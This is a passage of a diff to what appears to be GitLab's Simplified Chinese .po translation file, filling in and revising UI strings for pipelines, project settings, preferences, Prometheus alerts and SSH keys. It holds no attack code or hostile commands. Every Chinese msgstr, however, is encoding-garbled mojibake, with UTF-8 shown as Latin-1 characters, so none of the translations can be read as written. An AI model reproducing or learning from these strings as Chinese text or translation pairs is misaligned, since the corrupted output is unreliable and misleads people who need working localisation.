-msgstr ""
+msgstr "如果您ä¸ç¡®å®šï¼Œè¯·é¡¹ç›®ç»´æŠ¤è€…为您审核。"
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
-msgstr ""
+msgstr "建议在使用父项目的CI资æºè¿è¡Œæ­¤æµæ°´çº¿ä¹‹å‰å¯¹ä»£ç è¿›è¡Œè¯¦å°½çš„审核。"
msgid "Pipelines|Loading Pipelines"
msgstr "载入æµæ°´çº¿"
msgid "Pipelines|More Information"
-msgstr ""
+msgstr "更多信æ¯"
msgid "Pipelines|Project cache successfully reset."
msgstr "项目缓存é‡ç½®æˆåŠŸã€‚"
@@ -17509,7 +18066,7 @@ msgid "Pipelines|This is a child pipeline within the parent pipeline"
msgstr "æ­¤æµæ°´çº¿ä¸ºå…·æœ‰çˆ¶æµæ°´çº¿çš„å­æµæ°´çº¿"
msgid "Pipelines|This pipeline will run code originating from a forked project merge request. This means that the code can potentially have security considerations like exposing CI variables."
-msgstr ""
+msgstr "此管é“å°†è¿è¡Œæºè‡ªæ´¾ç”Ÿé¡¹ç›®åˆå¹¶è¯·æ±‚的代ç ã€‚ è¿™æ„味ç€è¯¥ä»£ç å¯èƒ½å­˜åœ¨å®‰å…¨é—®é¢˜ï¼Œå¦‚暴露CIå˜é‡ã€‚"
msgid "Pipelines|This project is not currently set up to run pipelines."
msgstr "此项目当å‰æœªé…ç½®è¿è¡Œæµæ°´çº¿ã€‚"
@@ -17524,7 +18081,7 @@ msgid "Pipeline|Canceled"
msgstr "å·²å–消"
msgid "Pipeline|Checking pipeline status."
-msgstr ""
+msgstr "检查æµæ°´çº¿çŠ¶æ€ã€‚"
msgid "Pipeline|Commit"
msgstr "æ交"
@@ -17596,7 +18153,7 @@ msgid "Pipeline|Skipped"
msgstr "已跳过"
msgid "Pipeline|Specify variable values to be used in this run. The values specified in %{linkStart}CI/CD settings%{linkEnd} will be used by default."
-msgstr ""
+msgstr "指定è¦åœ¨æ­¤æ¬¡è¿è¡Œä¸­ä½¿ç”¨çš„å˜é‡å€¼ã€‚%{linkStart}CI/CD设置%{linkEnd}中指定的值将用作默认值."
msgid "Pipeline|Specify variable values to be used in this run. The values specified in %{settings_link} will be used by default."
msgstr "指定è¦åœ¨æ­¤æ¬¡è¿è¡Œä¸­ä½¿ç”¨çš„å˜é‡å€¼ã€‚默认情况下将使用 %{settings_link} 中指定的值。"
@@ -17706,9 +18263,12 @@ msgstr "请选择无特殊字符的群组URL。"
msgid "Please complete your profile with email address"
msgstr "请在您的个人资料中填写电å­é‚®ä»¶åœ°å€"
-msgid "Please contact your administrator."
+msgid "Please contact your administrator with any questions."
msgstr ""
+msgid "Please contact your administrator."
+msgstr "请è”系您的管ç†å‘˜ã€‚"
+
msgid "Please convert %{linkStart}them to Git%{linkEnd}, and go through the %{linkToImportFlow} again."
msgstr "请将他们%{linkStart}转æ¢ä¸ºGit%{linkEnd},然åŽå†æ¬¡æ‰§è¡Œ%{linkToImportFlow}。"
@@ -17770,7 +18330,7 @@ msgid "Please provide attributes to update"
msgstr "请æä¾›è¦æ›´æ–°çš„属性"
msgid "Please refer to %{docs_url}"
-msgstr ""
+msgstr "请å‚考%{docs_url}"
msgid "Please retype the email address."
msgstr "请å†æ¬¡è¾“入电å­é‚®ä»¶åœ°å€ã€‚"
@@ -17812,7 +18372,7 @@ msgid "Please type %{phrase_code} to proceed or close this modal to cancel."
msgstr "请输入%{phrase_code}以继续或关闭此对è¯æ¡†ä»¥å–消。"
msgid "Please type the following to confirm:"
-msgstr ""
+msgstr "请输入以下内容以确认:"
msgid "Please use this form to report to the admin users who create spam issues, comments or behave inappropriately."
msgstr "请使用此表å•å‘管ç†å‘˜æŠ¥å‘Šåˆ›å»ºåžƒåœ¾è®®é¢˜ã€è¯„论或行为ä¸å½“的用户。"
@@ -17859,15 +18419,15 @@ msgstr "为应用程åºé€‰æ‹©å›ºå®šæ–¹å¼(最大值1280px)或æµåŠ¨æ–¹å¼(%{perc
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr "选择项目概览页é¢ä¸­æ‚¨æƒ³çœ‹åˆ°çš„内容。"
+msgid "Preferences|Choose what content you want to see on your homepage."
+msgstr ""
+
msgid "Preferences|Customize integrations with third party services."
msgstr "自定义与第三方æœåŠ¡çš„集æˆã€‚"
msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr "自定义应用程åºé¡¶éƒ¨å’Œå¯¼èˆªä¾§è¾¹æ çš„外观。"
-msgid "Preferences|Default dashboard"
-msgstr "默认仪表æ¿"
-
msgid "Preferences|Display time in 24-hour format"
msgstr "以24å°æ—¶æ ¼å¼æ˜¾ç¤ºæ—¶é—´"
@@ -17877,9 +18437,12 @@ msgstr "å¯ç”¨ä»£ç è§†å›¾çš„集æˆä»£ç æ™ºèƒ½åŠŸèƒ½"
msgid "Preferences|For example: 30 mins ago."
msgstr "例如:30分钟å‰"
-msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
+msgid "Preferences|Homepage content"
msgstr ""
+msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
+msgstr "一次仅显示一个文件,而ä¸æ˜¯æ‰€æœ‰æ›´æ”¹çš„文件。è¦åœ¨æ–‡ä»¶ä¹‹é—´åˆ‡æ¢ï¼Œè¯·ä½¿ç”¨æ–‡ä»¶æµè§ˆå™¨ã€‚"
+
msgid "Preferences|Integrations"
msgstr "集æˆ"
@@ -17899,7 +18462,7 @@ msgid "Preferences|Render whitespace characters in the Web IDE"
msgstr "在Web IDE中渲染空白字符"
msgid "Preferences|Show one file at a time on merge request's Changes tab"
-msgstr ""
+msgstr "在åˆå¹¶è¯·æ±‚çš„å˜æ›´æ ‡ç­¾ä¸Šä¸€æ¬¡åªæ˜¾ç¤ºä¸€ä¸ªæ–‡ä»¶"
msgid "Preferences|Show whitespace changes in diffs"
msgstr "显示差异中的空白å˜åŒ–"
@@ -17956,7 +18519,7 @@ msgid "Prevent environment from auto-stopping"
msgstr "防止环境自动终止"
msgid "Prevent project forking outside current group"
-msgstr ""
+msgstr "阻止项目派生到当å‰ç¾¤ç»„以外"
msgid "Prevent users from changing their profile name"
msgstr "ç¦æ­¢ç”¨æˆ·æ›´æ”¹é…置文件å称"
@@ -17977,7 +18540,7 @@ msgid "Preview changes"
msgstr "预览更改"
msgid "Preview payload"
-msgstr "预览上传数æ®"
+msgstr "预览有效数æ®"
msgid "Previous Artifacts"
msgstr "å‰ä¸€ä¸ªäº§ç‰©"
@@ -18031,10 +18594,10 @@ msgid "Proceed"
msgstr "继续"
msgid "Product Analytics"
-msgstr ""
+msgstr "产å“分æž"
msgid "ProductAnalytics|There is no data for this type of chart currently. Please see the Setup tab if you have not configured the product analytics tool already."
-msgstr ""
+msgstr "此类型的图表目å‰æ²¡æœ‰æ•°æ®ã€‚如果您尚未é…置产å“分æžå·¥å…·ï¼Œè¯·æŸ¥çœ‹è®¾ç½®æ ‡ç­¾ã€‚"
msgid "Productivity"
msgstr "效率"
@@ -18168,15 +18731,9 @@ msgstr "当å‰çŠ¶æ€"
msgid "Profiles|Default notification email"
msgstr "默认通知邮件"
-msgid "Profiles|Delete Account"
-msgstr "删除å¸æˆ·"
-
msgid "Profiles|Delete account"
msgstr "删除å¸æˆ·"
-msgid "Profiles|Delete your account?"
-msgstr "删除您的å¸æˆ·?"
-
msgid "Profiles|Deleting an account has the following effects:"
msgstr "删除å¸æˆ·å…·æœ‰ä»¥ä¸‹æ•ˆæžœï¼š"
@@ -18208,7 +18765,7 @@ msgid "Profiles|Full name"
msgstr "å…¨å"
msgid "Profiles|Give your individual key a title. This will be publically visible."
-msgstr ""
+msgstr "请通过标题给您的个人密钥命å。该标题公开å¯è§ã€‚"
msgid "Profiles|Include private contributions on my profile"
msgstr "在个人资料中包å«éžå…¬å¼€è´¡çŒ®"
@@ -18490,7 +19047,7 @@ msgid "Project clone URL"
msgstr "项目克隆URL"
msgid "Project configuration, excluding integrations"
-msgstr ""
+msgstr "项目é…置,ä¸åŒ…括集æˆ"
msgid "Project description (optional)"
msgstr "项目æè¿° (å¯é€‰)"
@@ -18520,7 +19077,7 @@ msgid "Project has too many %{label_for_message} to search"
msgstr "项目有太多个 %{label_for_message} è¦æœç´¢"
msgid "Project info:"
-msgstr ""
+msgstr "项目信æ¯ï¼š"
msgid "Project is required when cluster_type is :project"
msgstr "cluster_type为:project时项目为必需"
@@ -18567,6 +19124,9 @@ msgstr "项目上传"
msgid "Project visibility level will be changed to match namespace rules when transferring to a group."
msgstr "当项目转移到群组åŽï¼Œå…¶å¯è§æ€§çº§åˆ«å°†æ›´æ”¹ä¸ºä¸Žå‘½å空间规则匹é…。"
+msgid "Project was not found or you do not have permission to add this project to Security Dashboards."
+msgstr ""
+
msgid "Project: %{name}"
msgstr "项目: %{name}"
@@ -18591,6 +19151,9 @@ msgstr "ç¦æ­¢"
msgid "ProjectFileTree|Name"
msgstr "å称"
+msgid "ProjectFileTree|Show more"
+msgstr ""
+
msgid "ProjectLastActivity|Never"
msgstr "从未"
@@ -18625,7 +19188,7 @@ msgid "ProjectOverview|You must sign in to star a project"
msgstr "登录åŽæ‰èƒ½æ˜Ÿæ ‡é¡¹ç›®"
msgid "ProjectPage|Project ID: %{project_id}"
-msgstr "项目ID:%{project_id}"
+msgstr "项目ID: %{project_id}"
msgid "ProjectSelect| or group"
msgstr "或群组"
@@ -18688,7 +19251,7 @@ msgid "ProjectSettings|All discussions must be resolved"
msgstr "所有讨论都必须解决"
msgid "ProjectSettings|Allow"
-msgstr ""
+msgstr "å…许"
msgid "ProjectSettings|Allow users to make copies of your repository to a new project"
msgstr "å…许用户将你的仓库å¤åˆ¶åˆ°ä¸€ä¸ªæ–°é¡¹ç›®"
@@ -18706,10 +19269,10 @@ msgid "ProjectSettings|Build, test, and deploy your changes"
msgstr "构建ã€æµ‹è¯•å’Œéƒ¨ç½²æ‚¨çš„å˜æ›´"
msgid "ProjectSettings|Checkbox is visible and selected by default."
-msgstr ""
+msgstr "默认情况下,å¤é€‰æ¡†æ˜¯å¯è§å’Œé€‰ä¸­çš„。"
msgid "ProjectSettings|Checkbox is visible and unselected by default."
-msgstr ""
+msgstr "默认情况下,å¤é€‰æ¡†æ˜¯å¯è§å’Œæœªé€‰ä¸­çš„。"
msgid "ProjectSettings|Choose your merge method, merge options, merge checks, and merge suggestions."
msgstr "选择åˆå¹¶æ–¹æ³•ã€åˆå¹¶é€‰é¡¹ï¼Œåˆå¹¶æ£€æŸ¥ä»¥åŠåˆå¹¶å»ºè®®"
@@ -18730,7 +19293,7 @@ msgid "ProjectSettings|Disable email notifications"
msgstr "ç¦ç”¨ç”µå­é‚®ä»¶é€šçŸ¥"
msgid "ProjectSettings|Do not allow"
-msgstr ""
+msgstr "ä¸å…许"
msgid "ProjectSettings|Enable 'Delete source branch' option by default"
msgstr "默认å¯ç”¨\"删除æºåˆ†æ”¯\"选项"
@@ -18739,7 +19302,7 @@ msgid "ProjectSettings|Enable merge trains and pipelines for merged results"
msgstr "å¯ç”¨åˆå¹¶ç»“果的åˆå¹¶åˆ—车和æµæ°´çº¿åŠŸèƒ½"
msgid "ProjectSettings|Encourage"
-msgstr ""
+msgstr "建议"
msgid "ProjectSettings|Every merge creates a merge commit"
msgstr "æ¯æ¬¡åˆå¹¶éƒ½ä¼šåˆ›å»ºåˆå¹¶æ交"
@@ -18775,7 +19338,7 @@ msgid "ProjectSettings|Git Large File Storage (LFS)"
msgstr "Git大文件存储 (LFS)"
msgid "ProjectSettings|Global"
-msgstr ""
+msgstr "全局"
msgid "ProjectSettings|Internal"
msgstr "内部"
@@ -18859,10 +19422,10 @@ msgid "ProjectSettings|Repository"
msgstr "仓库"
msgid "ProjectSettings|Require"
-msgstr ""
+msgstr "å¿…é¡»"
msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
-msgstr ""
+msgstr "在åˆå¹¶è¯·æ±‚中设置此选项的默认行为和å¯ç”¨æ€§ï¼Œæ‰€åšçš„更改也适用于现有的åˆå¹¶è¯·æ±‚。"
msgid "ProjectSettings|Share code pastes with others out of Git repository"
msgstr "在Git仓库中与其他人分享代ç "
@@ -18880,13 +19443,13 @@ msgid "ProjectSettings|Snippets"
msgstr "代ç ç‰‡æ®µ"
msgid "ProjectSettings|Squash commits when merging"
-msgstr ""
+msgstr "åˆå¹¶æ—¶åŽ‹ç¼©æ交"
msgid "ProjectSettings|Squashing is always performed. Checkbox is visible and selected, and users cannot change it."
-msgstr ""
+msgstr "始终执行压缩。å¤é€‰æ¡†æ˜¯å¯è§çš„并处于选中状æ€ï¼Œç”¨æˆ·æ— æ³•æ›´æ”¹å®ƒã€‚"
msgid "ProjectSettings|Squashing is never performed and the checkbox is hidden."
-msgstr ""
+msgstr "永远ä¸ä¼šæ‰§è¡ŒåŽ‹ç¼©ï¼Œå¹¶ä¸”该å¤é€‰æ¡†æ˜¯éšè—的。"
msgid "ProjectSettings|Submit changes to be merged upstream"
msgstr "æ交将åˆå¹¶å…¥ä¸Šæ¸¸çš„å˜æ›´"
@@ -18919,7 +19482,7 @@ msgid "ProjectSettings|This will dictate the commit history when you merge a mer
msgstr "这将对åˆå¹¶è¯·æ±‚完æˆæ—¶çš„æ交历å²è®°å½•äº§ç”Ÿå½±å“"
msgid "ProjectSettings|Transfer project"
-msgstr ""
+msgstr "转移项目"
msgid "ProjectSettings|Users can only push commits to this repository that were committed with one of their own verified emails."
msgstr "用户åªèƒ½é€šè¿‡è‡ªå·±å·²éªŒè¯çš„电å­é‚®ä»¶åœ°å€å°†æ交到此仓库中。"
@@ -19036,10 +19599,10 @@ msgid "Projects to index"
msgstr "è¦ç´¢å¼•çš„项目"
msgid "Projects will be permanently deleted after a 7-day waiting period."
-msgstr ""
+msgstr "项目将于7天等待期åŽè¢«æ°¸ä¹…删除。"
msgid "Projects will be permanently deleted immediately."
-msgstr ""
+msgstr "项目将立å³è¢«æ°¸ä¹…删除。"
msgid "Projects with critical vulnerabilities"
msgstr "具有严é‡æ¼æ´žçš„项目"
@@ -19182,7 +19745,7 @@ msgstr "触å‘: %{alert}"
msgid "PrometheusAlerts|Operator"
msgstr "æ“作符"
-msgid "PrometheusAlerts|Runbook"
+msgid "PrometheusAlerts|Runbook URL (optional)"
msgstr ""
msgid "PrometheusAlerts|Select query"
@@ -19191,12 +19754,21 @@ msgstr "选择查询"
msgid "PrometheusAlerts|Threshold"
msgstr "阈值"
+msgid "PrometheusAlerts|exceeded"
+msgstr ""
+
+msgid "PrometheusAlerts|https://gitlab.com/gitlab-com/runbooks"
+msgstr ""
+
+msgid "PrometheusAlerts|is equal to"
+msgstr ""
+
+msgid "PrometheusAlerts|is less than"
+msgstr ""
+
msgid "PrometheusService|%{exporters} with %{metrics} were found"
msgstr "找到%{exporters} åŠ %{metrics}"
-msgid "PrometheusService|<p class=\"text-tertiary\">No <a href=\"%{docsUrl}\">common metrics</a> were found</p>"
-msgstr "<p class=\"text-tertiary\">无<a href=\"%{docsUrl}\">常用指标</a> </p>"
-
msgid "PrometheusService|Active"
msgstr "å¯ç”¨"
@@ -19254,6 +19826,9 @@ msgstr "更多的信æ¯"
msgid "PrometheusService|New metric"
msgstr "新建指标"
+msgid "PrometheusService|No %{docsUrlStart}common metrics%{docsUrlEnd} were found"
+msgstr ""
+
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr "尚未创建自定义指标。使用上é¢çš„按钮创建一个"
@@ -19308,6 +19883,9 @@ msgstr "将机密问题æå‡ä¸ºéžæœºå¯†å²è¯—。由于å²è¯—对群组æˆå‘˜å…¬
msgid "Promoted issue to an epic."
msgstr "将议题æå‡ä¸ºå²è¯—."
+msgid "Promotion is not supported."
+msgstr ""
+
msgid "Promotions|Burndown Charts are visual representations of the progress of completing a milestone. At a glance, you see the current state for the completion a given milestone. Without them, you would have to organize the data from the milestone and plot it yourself to have the same sense of progress."
msgstr "燃尽图是里程碑完æˆè¿›åº¦çš„视觉呈现。通过燃尽图,您å¯ä»¥é©¬ä¸Šç›´è§‚了解对应的里程碑的完æˆè¿›åº¦ã€‚没有燃尽图的è¯ï¼Œæ‚¨éœ€è¦è‡ªå·±ä»Žé‡Œç¨‹ç¢‘æœé›†æ•°æ®æ¥åˆ¶ä½œè¡¨è¾¾åŒæ ·å«ä¹‰çš„进度图。"
@@ -19389,6 +19967,9 @@ msgstr "通过贡献度分æžï¼Œæ‚¨å¯ä»¥ä»Žæ€»ä½“上了解您的组织åŠå…¶æˆ
msgid "Prompt users to upload SSH keys"
msgstr "æ示用户上传SSH密钥"
+msgid "Protect"
+msgstr ""
+
msgid "Protect variable"
msgstr "ä¿æŠ¤å˜é‡"
@@ -19531,7 +20112,7 @@ msgid "Public - The project can be accessed without any authentication."
msgstr "公开 - 无需任何身份验è¯å³å¯è®¿é—®è¯¥é¡¹ç›®ã€‚"
msgid "Public Access Help"
-msgstr ""
+msgstr "公开访问帮助"
msgid "Public deploy keys (%{deploy_keys_count})"
msgstr "公共部署密钥(%{deploy_keys_count})"
@@ -19582,7 +20163,7 @@ msgid "Push an existing folder"
msgstr "推é€çŽ°æœ‰æ–‡ä»¶å¤¹"
msgid "Push commits to the source branch or add previously merged commits to review them."
-msgstr ""
+msgstr "推é€æ交到æºåˆ†æ”¯æˆ–添加先å‰åˆå¹¶çš„æ交以进行审核。"
msgid "Push events"
msgstr "推é€äº‹ä»¶"
@@ -19666,7 +20247,7 @@ msgid "README"
msgstr "自述文件"
msgid "Rake Tasks Help"
-msgstr ""
+msgstr "Rake任务帮助"
msgid "Raw blob request rate limit per minute"
msgstr "æ¯åˆ†é’ŸåŽŸå§‹Blob请求速率é™åˆ¶"
@@ -19684,7 +20265,7 @@ msgid "Read more"
msgstr "进一步了解"
msgid "Read more about project permissions %{help_link_open}here%{help_link_close}"
-msgstr ""
+msgstr "于%{help_link_open}此处%{help_link_close}了解有关项目æƒé™çš„更多信æ¯"
msgid "Read more about related issues"
msgstr "了解更多关于相关议题的信æ¯"
@@ -19719,9 +20300,6 @@ msgstr "最近æœç´¢æœåŠ¡ä¸å¯ç”¨"
msgid "Recent searches"
msgstr "最近的æœç´¢"
-msgid "Recipe"
-msgstr "Recipe"
-
msgid "Reconfigure"
msgstr "é‡æ–°é…ç½®"
@@ -19729,7 +20307,7 @@ msgid "Recover hidden stage"
msgstr "æ¢å¤éšè—阶段"
msgid "Recovering projects"
-msgstr ""
+msgstr "æ¢å¤é¡¹ç›®"
msgid "Recovery Codes"
msgstr "æ¢å¤ç "
@@ -19747,7 +20325,7 @@ msgid "Reference:"
msgstr "标识:"
msgid "References"
-msgstr ""
+msgstr "引用"
msgid "Refresh"
msgstr "刷新"
@@ -19816,11 +20394,14 @@ msgstr "您的第一个项目"
msgid "Registration|Your profile"
msgstr "您的个人资料"
+msgid "Registry setup"
+msgstr ""
+
msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
msgstr "æ ¹æ®åˆè§„框架对作者/æ交者的核准制定规则。åªèƒ½åœ¨å®žä¾‹ä¸€çº§è¿›è¡Œä¿®æ”¹ã€‚"
msgid "Reindexing status"
-msgstr ""
+msgstr "é‡å»ºç´¢å¼•çŠ¶æ€"
msgid "Rejected (closed)"
msgstr "已拒ç»(关闭)"
@@ -19841,7 +20422,7 @@ msgid "Related Merged Requests"
msgstr "相关已åˆå¹¶çš„åˆå¹¶è¯·æ±‚"
msgid "Related issues"
-msgstr ""
+msgstr "相关议题"
msgid "Related merge requests"
msgstr "相关åˆå¹¶è¯·æ±‚"
@@ -19907,6 +20488,9 @@ msgstr "å‘布文档"
msgid "Releases|New Release"
msgstr "新版本"
+msgid "Release|Something went wrong while creating a new release"
+msgstr ""
+
msgid "Release|Something went wrong while getting the release details"
msgstr "获å–å‘布详细信æ¯æ—¶å‡ºé”™"
@@ -19949,6 +20533,9 @@ msgstr "删除所有或特定指派人"
msgid "Remove all or specific label(s)"
msgstr "删除所有或特定标记"
+msgid "Remove approver"
+msgstr ""
+
msgid "Remove approvers"
msgstr "删除核准人"
@@ -20001,7 +20588,7 @@ msgid "Remove limit"
msgstr "去除é™åˆ¶"
msgid "Remove member"
-msgstr ""
+msgstr "删除æˆå‘˜"
msgid "Remove milestone"
msgstr "删除里程碑"
@@ -20018,9 +20605,6 @@ msgstr "删除主节点"
msgid "Remove priority"
msgstr "删除优先级"
-msgid "Remove project"
-msgstr "删除项目"
-
msgid "Remove secondary node"
msgstr "删除次è¦èŠ‚点"
@@ -20054,9 +20638,6 @@ msgstr "已删除里程碑%{milestone_reference} 。"
msgid "Removed %{type} with id %{id}"
msgstr "已删除 %{type} 的 id %{id}"
-msgid "Removed Projects"
-msgstr ""
-
msgid "Removed all labels."
msgstr "已删除所有标签。"
@@ -20069,12 +20650,6 @@ msgstr "已删除的群组无法æ¢å¤ï¼"
msgid "Removed parent epic %{epic_ref}."
msgstr "已删除父å²è¯—%{epic_ref}。"
-msgid "Removed projects"
-msgstr ""
-
-msgid "Removed projects cannot be restored!"
-msgstr "已删除的项目无法æ¢å¤!"
-
msgid "Removed spent time."
msgstr "已删除消耗时间."
@@ -20085,10 +20660,10 @@ msgid "Removed time estimate."
msgstr "已删除时间估计。"
msgid "RemovedProjects|Projects which are removed and are yet to be permanently removed are visible here."
-msgstr ""
+msgstr "已删除但尚未永久删除的项目在此处å¯è§ã€‚"
msgid "RemovedProjects|You haven’t removed any projects."
-msgstr ""
+msgstr "您还没有删除任何项目。"
msgid "Removes %{assignee_text} %{assignee_references}."
msgstr "移除%{assignee_text} %{assignee_references}。"
@@ -20123,15 +20698,9 @@ msgstr "删除截止日期."
msgid "Removes time estimate."
msgstr "删除时间估计。"
-msgid "Removing a project places it into a read-only state until %{date}, at which point the project will be permanently removed. Are you ABSOLUTELY sure?"
-msgstr ""
-
msgid "Removing license…"
msgstr "删除许å¯è¯â€¦"
-msgid "Removing the project will delete its repository and all related resources including issues, merge requests etc."
-msgstr "删除项目将删除其仓库和所有相关资æºï¼ŒåŒ…括议题ã€åˆå¹¶è¯·æ±‚等。"
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr "删除该群组åŒæ—¶ä¼šåˆ é™¤æ‰€æœ‰å­é¡¹ç›®ï¼ŒåŒ…括已归档项目åŠå…¶ç›¸å…³èµ„æºã€‚"
@@ -20293,13 +20862,13 @@ msgid "Reports|Vulnerability"
msgstr "æ¼æ´ž"
msgid "Reports|Vulnerability Name"
-msgstr ""
+msgstr "æ¼æ´žå称"
msgid "Reports|no changed test results"
msgstr "未å‘生å˜åŒ–的测试结果"
msgid "Repositories"
-msgstr ""
+msgstr "仓库"
msgid "Repository"
msgstr "仓库"
@@ -20313,9 +20882,6 @@ msgstr "仓库图"
msgid "Repository Settings"
msgstr "仓库设置"
-msgid "Repository URL"
-msgstr "仓库地å€"
-
msgid "Repository check"
msgstr "仓库检查"
@@ -20422,7 +20988,7 @@ msgid "Required approvals (%{approvals_given} given, you've approved)"
msgstr "所需核准(%{approvals_given}完æˆï¼Œæ‚¨å·²æ‰¹å‡†)"
msgid "Required in this project."
-msgstr ""
+msgstr "在此项目为必须。"
msgid "Requirement %{reference} has been added"
msgstr "需求%{reference}已添加"
@@ -20457,7 +21023,7 @@ msgid "Requires values to meet regular expression requirements."
msgstr "需è¦å€¼åŒ¹é…正则表达å¼ã€‚"
msgid "Resend Request"
-msgstr ""
+msgstr "é‡æ–°å‘é€è¯·æ±‚"
msgid "Resend confirmation email"
msgstr "é‡æ–°å‘é€ç¡®è®¤é‚®ä»¶"
@@ -20501,9 +21067,15 @@ msgstr "解决"
msgid "Resolve all threads in new issue"
msgstr "在新议题中解决所有主题"
+msgid "Resolve conflicts"
+msgstr ""
+
msgid "Resolve conflicts on source branch"
msgstr "在æºåˆ†æ”¯ä¸Šè§£å†³å†²çª"
+msgid "Resolve these conflicts or ask someone with write access to this repository to merge it locally."
+msgstr ""
+
msgid "Resolve thread"
msgstr "解决主题"
@@ -20562,7 +21134,7 @@ msgid "Restart Terminal"
msgstr "é‡å¯ç»ˆç«¯"
msgid "Restore"
-msgstr ""
+msgstr "æ¢å¤"
msgid "Restore group"
msgstr "æ¢å¤ç¾¤ç»„"
@@ -20577,7 +21149,7 @@ msgid "Restoring the project will prevent the project from being removed on this
msgstr "æ¢å¤è¯¥é¡¹ç›®å°†é˜²æ­¢é¡¹ç›®åœ¨æ­¤æ—¥æœŸè¢«åˆ é™¤å¹¶æ¢å¤ç”¨æˆ·å¯¹å…¶è¿›è¡Œæ›´æ”¹çš„能力。"
msgid "Restrict membership by email domain"
-msgstr ""
+msgstr "通过电å­é‚®ä»¶åŸŸé™åˆ¶æˆå‘˜èµ„æ ¼"
msgid "Restricts sign-ups for email addresses that match the given regex. See the %{supported_syntax_link_start}supported syntax%{supported_syntax_link_end} for more information."
msgstr "é™åˆ¶æ³¨å†Œçš„电å­é‚®ä»¶åœ°å€éœ€ä¸Žç»™å®šæ­£åˆ™è¡¨è¾¾å¼åŒ¹é…的。请å‚阅%{supported_syntax_link_start}支æŒçš„语法%{supported_syntax_link_end}获å–更多信æ¯ã€‚"
@@ -20653,7 +21225,7 @@ msgid "Revoke"
msgstr "撤销"
msgid "Revoked"
-msgstr ""
+msgstr "已撤销"
msgid "Revoked impersonation token %{token_name}!"
msgstr "撤销身份模拟令牌 %{token_name}ï¼"
@@ -20682,6 +21254,9 @@ msgstr "回滚"
msgid "Rook"
msgstr "Rook"
+msgid "Rule name is already taken."
+msgstr ""
+
msgid "Rules that define what git pushes are accepted for a project in this group. All newly created projects in this group will use these settings."
msgstr "定义此群组中项目所接å—çš„git推é€è§„则。此群组中所有新创建的项目都将使用这些设置。"
@@ -20694,6 +21269,9 @@ msgstr "使用外部仓库的CI/CDæµæ°´çº¿"
msgid "Run housekeeping"
msgstr "è¿è¡Œä¾‹è¡Œç»´æŠ¤"
+msgid "Run manual or delayed jobs"
+msgstr ""
+
msgid "Run tests against your code live using the Web Terminal"
msgstr "使用Web终端对您的代ç è¿›è¡Œå®žæ—¶æµ‹è¯•"
@@ -20719,7 +21297,7 @@ msgid "Runner tokens"
msgstr "Runner令牌"
msgid "Runner was not deleted because it is assigned to multiple projects."
-msgstr ""
+msgstr "Runner未删除,因为它已分é…给多个项目。"
msgid "Runner was not updated."
msgstr "Runner未更新。"
@@ -20779,7 +21357,7 @@ msgid "SAML for %{group_name}"
msgstr "%{group_name} çš„ SAML"
msgid "SAST Configuration"
-msgstr ""
+msgstr "SASTé…ç½®"
msgid "SHA256"
msgstr "SHA256"
@@ -20791,7 +21369,7 @@ msgid "SSH Keys"
msgstr "SSH密钥"
msgid "SSH Keys Help"
-msgstr ""
+msgstr "SSH密钥帮助"
msgid "SSH host key fingerprints"
msgstr "SSH主机密钥指纹"
@@ -20800,7 +21378,7 @@ msgid "SSH host keys"
msgstr "SSH主机密钥"
msgid "SSH host keys are not available on this system. Please use %{ssh_keyscan} command or contact your GitLab administrator for more information."
-msgstr ""
+msgstr "SSH主机密钥在此系统上ä¸å¯ç”¨ã€‚请使用%{ssh_keyscan}命令或与您的GitLab管ç†å‘˜è”系以获å–更多信æ¯ã€‚"
msgid "SSH keys allow you to establish a secure connection between your computer and GitLab."
msgstr "SSH密钥用于在您的电脑和GitLab建立安全连接。"
@@ -20820,6 +21398,9 @@ msgstr "ä¿å­˜"
msgid "Save Changes"
msgstr "ä¿å­˜ä¿®æ”¹"
+msgid "Save Push Rules"
+msgstr ""
+
msgid "Save anyway"
msgstr "ä»ç„¶ä¿å­˜"
@@ -20842,7 +21423,7 @@ msgid "Save pipeline schedule"
msgstr "ä¿å­˜æµæ°´çº¿è®¡åˆ’"
msgid "Save space and find tags in the Container Registry more easily. Enable the cleanup policy to remove stale tags and keep only the ones you need."
-msgstr ""
+msgstr "节çœç©ºé—´å¹¶æ›´ä½¿å¾—在容器注册表中查找标签更容易。 å¯ç”¨æ¸…ç†ç­–ç•¥æ¥åˆ é™¤è¿‡æ—¶çš„标签,åªä¿ç•™æ‚¨éœ€è¦çš„标签。"
msgid "Save template"
msgstr "ä¿å­˜æ¨¡æ¿"
@@ -20850,6 +21431,9 @@ msgstr "ä¿å­˜æ¨¡æ¿"
msgid "Save variables"
msgstr "ä¿å­˜å˜é‡"
+msgid "Saved scan settings and target site settings which are reusable."
+msgstr ""
+
msgid "Saving"
msgstr "ä¿å­˜ä¸­"
@@ -20863,7 +21447,7 @@ msgid "Scheduled"
msgstr "已计划"
msgid "Scheduled Deletion At - %{permanent_deletion_time}"
-msgstr ""
+msgstr "计划删除于 - %{permanent_deletion_time}"
msgid "Scheduled to merge this merge request (%{strategy})."
msgstr "已计划åˆå¹¶æ­¤åˆå¹¶è¯·æ±‚ (%{strategy})。"
@@ -20898,11 +21482,14 @@ msgstr "范围"
msgid "Scopes can't be blank"
msgstr "范围ä¸èƒ½ä¸ºç©º"
+msgid "Score"
+msgstr ""
+
msgid "Scroll down"
msgstr "å‘下滚动"
msgid "Scroll down to %{strong_open}Google Code Project Hosting%{strong_close} and enable the switch on the right."
-msgstr ""
+msgstr "å‘下滚动到%{strong_open}Google Code Project Hosting%{strong_close}并通过å³ä¾§çš„开关å¯ç”¨ã€‚"
msgid "Scroll left"
msgstr "å‘左滚动"
@@ -20923,7 +21510,7 @@ msgid "Search"
msgstr "æœç´¢"
msgid "Search Jira issues"
-msgstr ""
+msgstr "æœç´¢Jira议题"
msgid "Search Milestones"
msgstr "æœç´¢é‡Œç¨‹ç¢‘"
@@ -20940,26 +21527,29 @@ msgstr "æœç´¢åˆ†æ”¯"
msgid "Search branches and tags"
